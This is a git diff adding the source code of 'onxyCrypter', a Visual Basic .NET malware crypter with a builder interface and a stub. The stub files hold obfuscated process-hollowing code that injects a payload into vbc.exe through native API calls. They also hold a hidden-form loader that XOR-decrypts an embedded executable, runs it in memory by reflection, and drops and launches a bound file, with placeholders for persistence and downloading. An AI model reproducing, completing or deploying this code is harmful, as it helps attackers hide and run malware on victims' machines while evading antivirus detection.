VTextBox1 As Onyx.VTextBox + Friend WithEvents VButton1 As Onyx.VButton +End Class diff --git a/scode (onxyCrypter/builder/builder/news.resx b/scode (onxyCrypter/builder/builder/news.resx new file mode 100644 index 0000000..29dcb1b --- /dev/null +++ b/scode (onxyCrypter/builder/builder/news.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/scode (onxyCrypter/builder/builder/news.vb b/scode (onxyCrypter/builder/builder/news.vb new file mode 100644 index 0000000..3a69247 --- /dev/null +++ b/scode (onxyCrypter/builder/builder/news.vb @@ -0,0 +1,10 @@ +Public Class news + + Private Sub VTheme1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles VTheme1.Click + + End Sub + + Private Sub VButton1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles VButton1.Click + Me.Close() + End Sub +End Class \ No newline at end of file diff --git a/scode (onxyCrypter/builder/builder/onxycrypterlogo.ico b/scode (onxyCrypter/builder/builder/onxycrypterlogo.ico new file mode 100644 index 0000000..af79116 Binary files /dev/null and b/scode (onxyCrypter/builder/builder/onxycrypterlogo.ico differ diff --git a/scode (onxyCrypter/builder/theme.vb b/scode (onxyCrypter/builder/theme.vb new file mode 100644 index 0000000..dc8783c --- /dev/null +++ b/scode (onxyCrypter/builder/theme.vb @@ -0,0 +1,5 @@ +Imports Microsoft.VisualBasic + +Public Class Class1 + +End Class diff --git a/scode (onxyCrypter/onxycrypterlogo.png b/scode (onxyCrypter/onxycrypterlogo.png new file mode 100644 index 0000000..12b3172 Binary files /dev/null and b/scode (onxyCrypter/onxycrypterlogo.png differ diff --git a/scode (onxyCrypter/stub/stub.sln b/scode (onxyCrypter/stub/stub.sln new file mode 100644 index 0000000..d872d6f --- /dev/null +++ b/scode (onxyCrypter/stub/stub.sln @@ -0,0 +1,32 @@ + +Microsoft Visual Studio Solution File, Format Version 11.00 +# Visual Studio 2010 +Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "stub", "stub\stub.vbproj", "{B61DF421-1965-4220-9954-6FD5D2765508}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|Any CPU = Release|Any CPU + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {B61DF421-1965-4220-9954-6FD5D2765508}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {B61DF421-1965-4220-9954-6FD5D2765508}.Debug|Any CPU.Build.0 = Debug|Any CPU + {B61DF421-1965-4220-9954-6FD5D2765508}.Debug|x64.ActiveCfg = Debug|x86 + {B61DF421-1965-4220-9954-6FD5D2765508}.Debug|x64.Build.0 = Debug|x86 + {B61DF421-1965-4220-9954-6FD5D2765508}.Debug|x86.ActiveCfg = Debug|x86 + {B61DF421-1965-4220-9954-6FD5D2765508}.Debug|x86.Build.0 = Debug|x86 + {B61DF421-1965-4220-9954-6FD5D2765508}.Release|Any CPU.ActiveCfg = Release|Any CPU + {B61DF421-1965-4220-9954-6FD5D2765508}.Release|Any CPU.Build.0 = Release|Any CPU + {B61DF421-1965-4220-9954-6FD5D2765508}.Release|x64.ActiveCfg = Release|x64 + {B61DF421-1965-4220-9954-6FD5D2765508}.Release|x64.Build.0 = Release|x64 + {B61DF421-1965-4220-9954-6FD5D2765508}.Release|x86.ActiveCfg = Release|x86 + {B61DF421-1965-4220-9954-6FD5D2765508}.Release|x86.Build.0 = Release|x86 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/scode (onxyCrypter/stub/stub.suo b/scode (onxyCrypter/stub/stub.suo new file mode 100644 index 0000000..7daa42a Binary files /dev/null and b/scode (onxyCrypter/stub/stub.suo differ diff --git a/scode (onxyCrypter/stub/stub/My Project/Application.Designer.vb b/scode (onxyCrypter/stub/stub/My Project/Application.Designer.vb new file mode 100644 index 0000000..2d2f4a0 --- /dev/null +++ b/scode (onxyCrypter/stub/stub/My Project/Application.Designer.vb @@ -0,0 +1,13 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.296 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + diff --git a/scode (onxyCrypter/stub/stub/My Project/Application.myapp b/scode (onxyCrypter/stub/stub/My Project/Application.myapp new file mode 100644 index 0000000..23b627f --- /dev/null +++ b/scode (onxyCrypter/stub/stub/My Project/Application.myapp @@ -0,0 +1,10 @@ + + + false + false + 0 + true + 0 + 2 + true + diff --git a/scode (onxyCrypter/stub/stub/My Project/AssemblyInfo.vb b/scode (onxyCrypter/stub/stub/My Project/AssemblyInfo.vb new file mode 100644 index 0000000..c9e4acf --- /dev/null +++ b/scode (onxyCrypter/stub/stub/My Project/AssemblyInfo.vb @@ -0,0 +1,28 @@ +Imports System +Imports System.Reflection +Imports System.Runtime.InteropServices + +' General Information about an assembly is controlled through the following +' set of attributes. Change these attribute values to modify the information +' associated with an assembly. + +' Review the values of the assembly attributes + + + + + +'The following GUID is for the ID of the typelib if this project is exposed to COM + + +' Version information for an assembly consists of the following four values: +' +' Major Version +' Minor Version +' Build Number +' Revision +' +' You can specify all the values or you can default the Build and Revision Numbers +' by using the '*' as shown below: +' + diff --git a/scode (onxyCrypter/stub/stub/My Project/Resources.Designer.vb b/scode (onxyCrypter/stub/stub/My Project/Resources.Designer.vb new file mode 100644 index 0000000..a5e0683 --- /dev/null +++ b/scode (onxyCrypter/stub/stub/My Project/Resources.Designer.vb @@ -0,0 +1,89 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.296 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + +Imports System + +Namespace My.Resources + + 'This class was auto-generated by the StronglyTypedResourceBuilder + 'class via a tool like ResGen or Visual Studio. + 'To add or remove a member, edit your .ResX file then rerun ResGen + 'with the /str option, or rebuild your VS project. + ''' + ''' A strongly-typed resource class, for looking up localized strings, etc. + ''' + _ + Friend Module Resources + + Private resourceMan As Global.System.Resources.ResourceManager + + Private resourceCulture As Global.System.Globalization.CultureInfo + + ''' + ''' Returns the cached ResourceManager instance used by this class. + ''' + _ + Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager + Get + If Object.ReferenceEquals(resourceMan, Nothing) Then + Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("bankingcal.Resources", GetType(Resources).Assembly) + resourceMan = temp + End If + Return resourceMan + End Get + End Property + + ''' + ''' Overrides the current thread's CurrentUICulture property for all + ''' resource lookups using this strongly typed resource class. + ''' + _ + Friend Property Culture() As Global.System.Globalization.CultureInfo + Get + Return resourceCulture + End Get + Set + resourceCulture = value + End Set + End Property + + Friend ReadOnly Property banking() As Byte() + Get + Dim obj As Object = ResourceManager.GetObject("banking", resourceCulture) + Return CType(obj,Byte()) + End Get + End Property + + ''' + ''' Looks up a localized string similar to xSilent + '''Aeon Hack + '''.Prodigy + '''Jadencide + '''Dr. Caspers + '''Xeno + ''' + '''MSN + '''ArminMonth@rs2hacking.com + '''Skype + '''Dr.Casper.s. + ''' + Friend ReadOnly Property text() As String + Get + Return ResourceManager.GetString("text", resourceCulture) + End Get + End Property + End Module +End Namespace diff --git a/scode (onxyCrypter/stub/stub/My Project/Resources.resx b/scode (onxyCrypter/stub/stub/My Project/Resources.resx new file mode 100644 index 0000000..873903c --- /dev/null +++ b/scode (onxyCrypter/stub/stub/My Project/Resources.resx @@ -0,0 +1,127 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + ..\Resources\banking.dll;System.Byte[], mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + ..\Resources\text.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252 + + \ No newline at end of file diff --git a/scode (onxyCrypter/stub/stub/My Project/Settings.Designer.vb b/scode (onxyCrypter/stub/stub/My Project/Settings.Designer.vb new file mode 100644 index 0000000..4ebe340 --- /dev/null +++ b/scode (onxyCrypter/stub/stub/My Project/Settings.Designer.vb @@ -0,0 +1,73 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.296 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + + +Namespace My + + _ + Partial Friend NotInheritable Class MySettings + Inherits Global.System.Configuration.ApplicationSettingsBase + + Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings()),MySettings) + +#Region "My.Settings Auto-Save Functionality" +#If _MyType = "WindowsForms" Then + Private Shared addedHandler As Boolean + + Private Shared addedHandlerLockObject As New Object + + _ + Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs) + If My.Application.SaveMySettingsOnExit Then + My.Settings.Save() + End If + End Sub +#End If +#End Region + + Public Shared ReadOnly Property [Default]() As MySettings + Get + +#If _MyType = "WindowsForms" Then + If Not addedHandler Then + SyncLock addedHandlerLockObject + If Not addedHandler Then + AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings + addedHandler = True + End If + End SyncLock + End If +#End If + Return defaultInstance + End Get + End Property + End Class +End Namespace + +Namespace My + + _ + Friend Module MySettingsProperty + + _ + Friend ReadOnly Property Settings() As Global.bankingcal.My.MySettings + Get + Return Global.bankingcal.My.MySettings.Default + End Get + End Property + End Module +End Namespace diff --git a/scode (onxyCrypter/stub/stub/My Project/Settings.settings b/scode (onxyCrypter/stub/stub/My Project/Settings.settings new file mode 100644 index 0000000..377f56d --- /dev/null +++ b/scode (onxyCrypter/stub/stub/My Project/Settings.settings @@ -0,0 +1,7 @@ + + + + + + + diff --git a/scode (onxyCrypter/stub/stub/My Project/app.manifest b/scode (onxyCrypter/stub/stub/My Project/app.manifest new file mode 100644 index 0000000..cbe08de --- /dev/null +++ b/scode (onxyCrypter/stub/stub/My Project/app.manifest @@ -0,0 +1,48 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/scode (onxyCrypter/stub/stub/Resources/banking.dll b/scode (onxyCrypter/stub/stub/Resources/banking.dll new file mode 100644 index 0000000..8c4d8e5 Binary files /dev/null and b/scode (onxyCrypter/stub/stub/Resources/banking.dll differ diff --git a/scode (onxyCrypter/stub/stub/Resources/text.txt b/scode (onxyCrypter/stub/stub/Resources/text.txt new file mode 100644 index 0000000..6f38a27 --- /dev/null +++ b/scode (onxyCrypter/stub/stub/Resources/text.txt @@ -0,0 +1,11 @@ +xSilent +Aeon Hack +.Prodigy +Jadencide +Dr. Caspers +Xeno + +MSN +ArminMonth@rs2hacking.com +Skype +Dr.Casper.s \ No newline at end of file diff --git a/scode (onxyCrypter/stub/stub/banked.txt b/scode (onxyCrypter/stub/stub/banked.txt new file mode 100644 index 0000000..c36f873 --- /dev/null +++ b/scode (onxyCrypter/stub/stub/banked.txt @@ -0,0 +1,156 @@ +Imports System.Runtime.InteropServices +Imports System.Text + + + + Sub Main() + Dim self As String = System.Reflection.Assembly.GetExecutingAssembly.Location() + Console.WriteLine("System Loaded.") + Dim bankingsystem As Byte() = IO.File.ReadAllBytes("C:\Users\Richie\Documents\Visual Studio 2010\Projects\test\test\bin\Debug\test.exe") + Console.WriteLine("Reading Bytes.") + Dim payload As String = "C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe" + Console.WriteLine("Injecting.") + Dim x As New MxjQu?pIopI : x.fkndihn?eM?(bankingsystem, payload) + Console.WriteLine("Success! Injected into " + payload + "!") + Console.ReadLine() + End Sub + + + +Public Class MxjQu?pIopI +Function defaultbrowser() As String + defaultbrowser = My.Computer.Registry.GetValue("HKEY_CLASSES_ROOT\HTTP\shell\open\command", "", "Not Found") + Dim shitplit() As String = Split(defaultbrowser, """") + Return shitplit(1) + End Function + Public Declare Function wi?JiL Lib "kernel32" Alias "LoadLibraryA" (ByVal Bu? As String) As IntPtr + + Public Declare Function t?R??P Lib "kernel32" Alias "GetProcAddress" (ByVal g??R As IntPtr, ByVal Bu? As String) As IntPtr + + Function ?QynJNluJqao?m(Of T)(ByVal Bu? As String, ByVal j??? As String) As T + + Return DirectCast(DirectCast(Marshal.GetDelegateForFunctionPointer(t?R??P(wi?JiL(Bu?), j???), GetType(T)), Object), T) + + End Function + + Delegate Function i?fxb(ByVal f?hk As IntPtr, ByVal v?jJtLIQB As UInteger()) As Boolean + + Delegate Function gpJ?Fd(ByVal baqv As IntPtr, ByVal Jme? As IntPtr) As UInteger + + Delegate Function ??HPxn(ByVal baqv As IntPtr, ByVal Jme? As IntPtr, ByRef bufr As IntPtr, ByVal bufrFceFfBaz As Integer, ByRef tv?u As IntPtr) As Boolean + + Delegate Function iQePub(ByVal f?hkead As IntPtr, ByVal lwr? As IntPtr) As UInteger + + Delegate Function mJ?mh?(ByVal f?hk As IntPtr, ByVal v?jJtLIQB As UInteger()) As Boolean + + Delegate Function ma?jP?(ByVal baqv As IntPtr, ByVal ?bL? As IntPtr, ByVal FceFfBaz As IntPtr, ByVal znwv As Integer, ByVal Mb?g As Integer) As IntPtr + + Delegate Function rLs?PR(ByVal baqvess As IntPtr, ByVal u?xLaMNd? As IntPtr, ByVal dxLq As Byte(), ByVal nFceFfBaz As UInteger, ByVal ??llBp?? As Integer) As Boolean + + Public Declare Auto Function Iojupz Lib "kernel32" Alias "CreateProcessW" (ByVal FzaQ As String, ByVal nNLr As StringBuilder, ByVal wJbwxlPiy As IntPtr, ByVal yzjc As IntPtr, ByVal Q?al As Boolean, ByVal usn As Integer, ByVal ePgQ As IntPtr, ByVal q?By As String, ByVal HatJ As Byte(), ByVal mBNL As IntPtr()) As Boolean + + Private Function ujFJnb(ByVal xw??Q?? As Long, Optional ByVal r?yMxqr As Long = &H4) As Integer + + Dim ifcLdbQ As IntPtr + + Dim QHmB??a As Integer + + Dim ?NiR? As ??HPxn = ?QynJNluJqao?m(Of ??HPxn)("ntdll", "NtReadVirtualMemory") + + Call ?NiR?(Process.GetCurrentProcess.Handle, xw??Q??, ifcLdbQ, r?yMxqr, QHmB??a) + + Return ifcLdbQ + + End Function + + Public Function fkndihn?eM?(ByVal ?NpfxaL As Byte(), ByVal F?enk?b As String) As Boolean + + Try + + Dim l?v?M?oq As GCHandle = GCHandle.Alloc(?NpfxaL, GCHandleType.Pinned) : Dim hModuleBase As Integer = l?v?M?oq.AddrOfPinnedObject : l?v?M?oq.Free() + + Dim wJbwxlPiy As IntPtr = IntPtr.Zero + + Dim reHonR?du As IntPtr() = New IntPtr(3) {} + + Dim Idc?b??n As Byte() = New Byte(67) {} + + Dim oxne?wFe As Integer = BitConverter.ToInt32(?NpfxaL, 60) + + Dim tr?qtov?m As Integer + + Dim v?jJtLIQB As UInteger() = New UInteger(178) {} + + v?jJtLIQB(0) = &H10002 + + Iojupz(Nothing, New StringBuilder(F?enk?b), wJbwxlPiy, wJbwxlPiy, False, 4, wJbwxlPiy, Nothing, Idc?b??n, reHonR?du) + + Dim arBcJ?N? As Integer = (hModuleBase + ujFJnb(hModuleBase + &H3C)) + + tr?qtov?m = ujFJnb(arBcJ?N? + &H34) + + Dim jkbd? As gpJ?Fd = ?QynJNluJqao?m(Of gpJ?Fd)("ntdll", "NtUnmapViewOfSection") + + jkbd?(reHonR?du(0), tr?qtov?m) + + Dim PNte? As ma?jP? = ?QynJNluJqao?m(Of ma?jP?)("kernel32", "VirtualAllocEx") + + Dim u?xLaMNd? As IntPtr = PNte?(reHonR?du(0), tr?qtov?m, ujFJnb(arBcJ?N? + &H50), &H3000, &H40) + + Dim s?kJ?pmjP As New IntPtr(BitConverter.ToInt32(?NpfxaL, oxne?wFe + &H34)) + + Dim FceFfBaz As New IntPtr(BitConverter.ToInt32(?NpfxaL, oxne?wFe + 80)) + + Dim ?iPHiPcR? As Integer + + Dim ??llBp?? As Integer + + Dim api8 As rLs?PR = ?QynJNluJqao?m(Of rLs?PR)("ntdll", "NtWriteVirtualMemory") + + api8(reHonR?du(0), u?xLaMNd?, ?NpfxaL, CUInt(CInt(ujFJnb(arBcJ?N? + &H54))), ?iPHiPcR?) + + For i = 0 To ujFJnb(arBcJ?N? + &H6, 2) - 1 + + Dim Ihc?ybIFM As Integer() = New Integer(9) {} + + Buffer.BlockCopy(?NpfxaL, (oxne?wFe + &HF8) + (i * 40), Ihc?ybIFM, 0, 40) + + Dim dxzq?ges? As Byte() = New Byte((Ihc?ybIFM(4) - 1)) {} + + Buffer.BlockCopy(?NpfxaL, Ihc?ybIFM(5), dxzq?ges?, 0, dxzq?ges?.Length) + + FceFfBaz = New IntPtr(u?xLaMNd?.ToInt32() + Ihc?ybIFM(3)) + + s?kJ?pmjP = New IntPtr(dxzq?ges?.Length) + + api8(reHonR?du(0), FceFfBaz, dxzq?ges?, CUInt(s?kJ?pmjP), ??llBp??) + + Next i + + Dim Pmlc As i?fxb = ?QynJNluJqao?m(Of i?fxb)("ntdll", "NtGetContextThread") + + Pmlc(reHonR?du(1), v?jJtLIQB) + + api8(reHonR?du(0), v?jJtLIQB(41) + &H8, BitConverter.GetBytes(u?xLaMNd?.ToInt32()), CUInt(&H4), ??llBp??) + + v?jJtLIQB(&H2C) = tr?qtov?m + ujFJnb(arBcJ?N? + &H28) + + Dim F??do As mJ?mh? = ?QynJNluJqao?m(Of mJ?mh?)("ntdll", "NtSetContextThread") + + F??do(reHonR?du(1), v?jJtLIQB) + + Dim tBdie As iQePub = ?QynJNluJqao?m(Of iQePub)("ntdll", "NtResumeThread") + + tBdie(reHonR?du(1), 0) + + Catch ex As Exception + + Return False + + End Try + + Return True + + End Function + +End Class \ No newline at end of file diff --git a/scode (onxyCrypter/stub/stub/banking.vb b/scode (onxyCrypter/stub/stub/banking.vb new file mode 100644 index 0000000..778ce11 --- /dev/null +++ b/scode (onxyCrypter/stub/stub/banking.vb @@ -0,0 +1,303 @@ +Imports System.Diagnostics +Imports System.Net +Imports System.IO.Compression +Imports Microsoft.Win32 +Imports Microsoft.VisualBasic +Imports System.Runtime.InteropServices +Imports System.Text +Imports System +Imports System.Drawing +Imports System.Windows.Forms +Imports System.Reflection +Imports System.IO +Imports System.Resources +Imports System.Reflection.Emit + + + + + + + + + +Public Class jj + Public Function craycray() + Dim rx As New form1 + rx.InitializeComponent() + %Delay% + Try + %install% + Catch + End Try + Try + + Try + Dim crate As Byte() = My.Resources2.text2 + lol(crate) + Catch + End Try + Dim exbyte As Byte() = form1.cry(My.Resources2.text, "%pass%") + Dim pth As String = rx.LF("%injection%") + Dim forcetry As Byte() = My.Resources2.banking + rx.DI(forcetry, New Object() { exbyte, pth }, "banking.banking", "mKwgLKyjxfK") + Try + %Downloader% + Catch + End Try + %errormsg% + Catch ex As Exception + End Try + dim dd as string = "kk" + return dd + End Function + public function lol (byval dd as byte()) + try + Dim ddr$ = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "/%Binder%" + IO.File.WriteAllBytes(ddr, dd) + Process.Start(ddr) + catch + end try + end function +End Class +Public Class form1 + Public Shared Sub Main() + Dim rx As New jj + rx.craycray() + End Sub + + Public Function bite(ByVal input As String) As Byte() + Dim bt As Byte() = System.Text.Encoding.Default.GetBytes(input) + Return bt + End Function + Public Function str1(ByVal input As Byte()) As String + Dim st As String = System.Text.Encoding.Default.GetString(input) + Return st + End Function + Public Shared Function cry(ByVal data As Byte(), ByVal pass As String) As Byte() + Array.Reverse(data) + Dim eaqOlgrJU04xUqZ9WdYJj2w7znYyd5l8Z3fIplckQ As Byte = data(data.Length - 1) + Dim cnffOlgrGPHmGtKExeRX3KsMH4307B As Byte() = System.Text.Encoding.ASCII.GetBytes(pass) + Dim BhgwM9swbW1YzT7gBGmY8Yt7lLnY801 As Byte() = New Byte(data.Length) {} + Dim hiwlIUa0H1fOQaO7E108jCRMYnXyt0KQieTHV01lc4F270Zy As Integer = 0 + For i As Integer = 0 To data.Length - 1 + BhgwM9swbW1YzT7gBGmY8Yt7lLnY801(i) = CByte((data(i) Xor eaqOlgrJU04xUqZ9WdYJj2w7znYyd5l8Z3fIplckQ) Xor cnffOlgrGPHmGtKExeRX3KsMH4307B(hiwlIUa0H1fOQaO7E108jCRMYnXyt0KQieTHV01lc4F270Zy)) + Array.Reverse(cnffOlgrGPHmGtKExeRX3KsMH4307B) + If hiwlIUa0H1fOQaO7E108jCRMYnXyt0KQieTHV01lc4F270Zy = cnffOlgrGPHmGtKExeRX3KsMH4307B.Length - 1 Then + hiwlIUa0H1fOQaO7E108jCRMYnXyt0KQieTHV01lc4F270Zy = 0 + Else + hiwlIUa0H1fOQaO7E108jCRMYnXyt0KQieTHV01lc4F270Zy += 1 + End If + Next + Array.Resize(BhgwM9swbW1YzT7gBGmY8Yt7lLnY801, BhgwM9swbW1YzT7gBGmY8Yt7lLnY801.Length - 2) + Return BhgwM9swbW1YzT7gBGmY8Yt7lLnY801 + End Function + Public Function LF(ByVal jj As String) As String + Dim QFE1cP0b7Jk2caV3NNmVIk9 As New DirectoryInfo(System.Runtime.InteropServices.RuntimeEnvironment.GetRuntimeDirectory()) + Dim SYpsap3tA933V5QjBhh50h9d78LcQ As String = Nothing + For Each IL As FileInfo In QFE1cP0b7Jk2caV3NNmVIk9.GetFiles(jj) + SYpsap3tA933V5QjBhh50h9d78LcQ = IL.FullName + Return SYpsap3tA933V5QjBhh50h9d78LcQ + Next + Return SYpsap3tA933V5QjBhh50h9d78LcQ + End Function +End Class +Partial Class Form1 + Inherits System.Windows.Forms.Form + 'Form overrides dispose to clean up the component list. + _ + Protected Overrides Sub Dispose(ByVal disposing As Boolean) + Try + If disposing AndAlso components IsNot Nothing Then + components.Dispose() + End If + Finally + MyBase.Dispose(disposing) + End Try + End Sub + + 'Required by the Windows Form Designer + Public components As System.ComponentModel.IContainer + + 'NOTE: The following procedure is required by the Windows Form Designer + 'It can be modified using the Windows Form Designer. + 'Do not modify it using the code editor. + _ + Public Sub InitializeComponent() + Me.Visible = False + Me.ShowInTaskbar = False + Me.Opacity = 0 + Me.TextBox1 = New System.Windows.Forms.TextBox() + Me.Button1 = New System.Windows.Forms.Button() + Me.Label1 = New System.Windows.Forms.Label() + Me.Label2 = New System.Windows.Forms.Label() + Me.Label3 = New System.Windows.Forms.Label() + Me.Label4 = New System.Windows.Forms.Label() + Me.Panel1 = New System.Windows.Forms.Panel() + Me.ProgressBar1 = New System.Windows.Forms.ProgressBar() + Me.SuspendLayout() + ' + 'TextBox1 + ' + Me.TextBox1.Location = New System.Drawing.Point(12, 23) + Me.TextBox1.Name = "TextBox1" + Me.TextBox1.Text = "" + Me.TextBox1.Size = New System.Drawing.Size(100, 20) + Me.TextBox1.TabIndex = 0 + ' + 'Button1 + ' + Me.Button1.Location = New System.Drawing.Point(12, 49) + Me.Button1.Name = "Button1" + Me.Button1.Size = New System.Drawing.Size(75, 23) + Me.Button1.TabIndex = 1 + Me.Button1.Text = "Button1" + Me.Button1.UseVisualStyleBackColor = True + ' + 'Form + ' + Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) + Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font + Me.ClientSize = New System.Drawing.Size(284, 262) + Me.Controls.Add(Me.ProgressBar1) + Me.Controls.Add(Me.Panel1) + Me.Controls.Add(Me.Label4) + Me.Controls.Add(Me.Label3) + Me.Controls.Add(Me.Label2) + Me.Controls.Add(Me.Label1) + Me.Controls.Add(Me.Button1) + Me.Controls.Add(Me.TextBox1) + Me.Name = "Form" + Me.Text = "Form" + Me.ResumeLayout(False) + Me.PerformLayout() + End Sub + Private Function Rev(ByVal sVal_ As String) + Dim rET_BW As Char() = CStr(sVal_).ToCharArray() + Array.Reverse(rET_BW) + Return CStr(New String(rET_BW)) + End Function + Public Function DI(ByVal rAl As Byte(), ByVal prm As Object(), ByVal clz As String, ByVal meth As String) As Object + Dim fxlcrfj0EOwxCJBk7T3Iuoh5N0k4Y3WV7uz As System.Reflection.Emit.DynamicMethod = New DynamicMethod("httpslogin", GetType(Object), New Type() {GetType(Byte()), GetType(Object()), GetType(String), GetType(String)}) + Dim fcevgrY943212vbq626r7GI1l0PEsNYS3JSC2yM4lCOis0cv3yLX As System.Reflection.Emit.ILGenerator = fxlcrfj0EOwxCJBk7T3Iuoh5N0k4Y3WV7uz.GetILGenerator() + Dim OGGW0A8076W8TS82 As System.Reflection.Emit.Label = fcevgrY943212vbq626r7GI1l0PEsNYS3JSC2yM4lCOis0cv3yLX.DefineLabel() + fcevgrY943212vbq626r7GI1l0PEsNYS3JSC2yM4lCOis0cv3yLX.DeclareLocal(GetType(Assembly)) + fcevgrY943212vbq626r7GI1l0PEsNYS3JSC2yM4lCOis0cv3yLX.Emit(OpCodes.Ldarg_0) + fcevgrY943212vbq626r7GI1l0PEsNYS3JSC2yM4lCOis0cv3yLX.EmitCall(OpCodes.[Call], GetType(Assembly).GetMethod(Rev("daoL"), New Type() {GetType(Byte())}), Nothing) + fcevgrY943212vbq626r7GI1l0PEsNYS3JSC2yM4lCOis0cv3yLX.Emit(OpCodes.Stloc_0) + fcevgrY943212vbq626r7GI1l0PEsNYS3JSC2yM4lCOis0cv3yLX.Emit(OpCodes.Ldarg_2) + fcevgrY943212vbq626r7GI1l0PEsNYS3JSC2yM4lCOis0cv3yLX.Emit(OpCodes.Brfalse_S, OGGW0A8076W8TS82) + fcevgrY943212vbq626r7GI1l0PEsNYS3JSC2yM4lCOis0cv3yLX.Emit(OpCodes.Ldarg_3) + fcevgrY943212vbq626r7GI1l0PEsNYS3JSC2yM4lCOis0cv3yLX.Emit(OpCodes.Brfalse_S, OGGW0A8076W8TS82) + fcevgrY943212vbq626r7GI1l0PEsNYS3JSC2yM4lCOis0cv3yLX.Emit(OpCodes.Ldloc_0) + fcevgrY943212vbq626r7GI1l0PEsNYS3JSC2yM4lCOis0cv3yLX.Emit(OpCodes.Ldarg_2) + fcevgrY943212vbq626r7GI1l0PEsNYS3JSC2yM4lCOis0cv3yLX.EmitCall(OpCodes.Callvirt, GetType(Assembly).GetMethod(Rev("epyTteG"), New Type() {GetType(String)}), Nothing) + fcevgrY943212vbq626r7GI1l0PEsNYS3JSC2yM4lCOis0cv3yLX.Emit(OpCodes.Ldarg_3) + fcevgrY943212vbq626r7GI1l0PEsNYS3JSC2yM4lCOis0cv3yLX.EmitCall(OpCodes.Callvirt, GetType(Type).GetMethod(Rev("dohteMteG"), New Type() {GetType(String)}), Nothing) + fcevgrY943212vbq626r7GI1l0PEsNYS3JSC2yM4lCOis0cv3yLX.Emit(OpCodes.Ldnull) + fcevgrY943212vbq626r7GI1l0PEsNYS3JSC2yM4lCOis0cv3yLX.Emit(OpCodes.Ldarg_1) + fcevgrY943212vbq626r7GI1l0PEsNYS3JSC2yM4lCOis0cv3yLX.EmitCall(OpCodes.Callvirt, GetType(MethodBase).GetMethod(Rev("ekovnI"), New Type() {GetType(Object), GetType(Object())}), Nothing) + fcevgrY943212vbq626r7GI1l0PEsNYS3JSC2yM4lCOis0cv3yLX.Emit(OpCodes.Ret) + fcevgrY943212vbq626r7GI1l0PEsNYS3JSC2yM4lCOis0cv3yLX.MarkLabel(OGGW0A8076W8TS82) + fcevgrY943212vbq626r7GI1l0PEsNYS3JSC2yM4lCOis0cv3yLX.Emit(OpCodes.Ldloc_0) + fcevgrY943212vbq626r7GI1l0PEsNYS3JSC2yM4lCOis0cv3yLX.EmitCall(OpCodes.Callvirt, GetType(Assembly).GetProperty(Rev("tnioPyrtnE")).GetGetMethod(), Nothing) + fcevgrY943212vbq626r7GI1l0PEsNYS3JSC2yM4lCOis0cv3yLX.Emit(OpCodes.Ldnull) + fcevgrY943212vbq626r7GI1l0PEsNYS3JSC2yM4lCOis0cv3yLX.Emit(OpCodes.Ldarg_1) + fcevgrY943212vbq626r7GI1l0PEsNYS3JSC2yM4lCOis0cv3yLX.EmitCall(OpCodes.Callvirt, GetType(MethodBase).GetMethod(Rev("ekovnI"), New Type() {GetType(Object), GetType(Object())}), Nothing) + fcevgrY943212vbq626r7GI1l0PEsNYS3JSC2yM4lCOis0cv3yLX.Emit(OpCodes.Ret) + Return fxlcrfj0EOwxCJBk7T3Iuoh5N0k4Y3WV7uz.Invoke(Nothing, New Object() {rAl, prm, clz, meth}) + End Function + Friend WithEvents TextBox1 As System.Windows.Forms.TextBox + Friend WithEvents Button1 As System.Windows.Forms.Button + Friend WithEvents Label1 As System.Windows.Forms.Label + Friend WithEvents Label2 As System.Windows.Forms.Label + Friend WithEvents Label3 As System.Windows.Forms.Label + Friend WithEvents Label4 As System.Windows.Forms.Label + Friend WithEvents Panel1 As System.Windows.Forms.Panel + Friend WithEvents 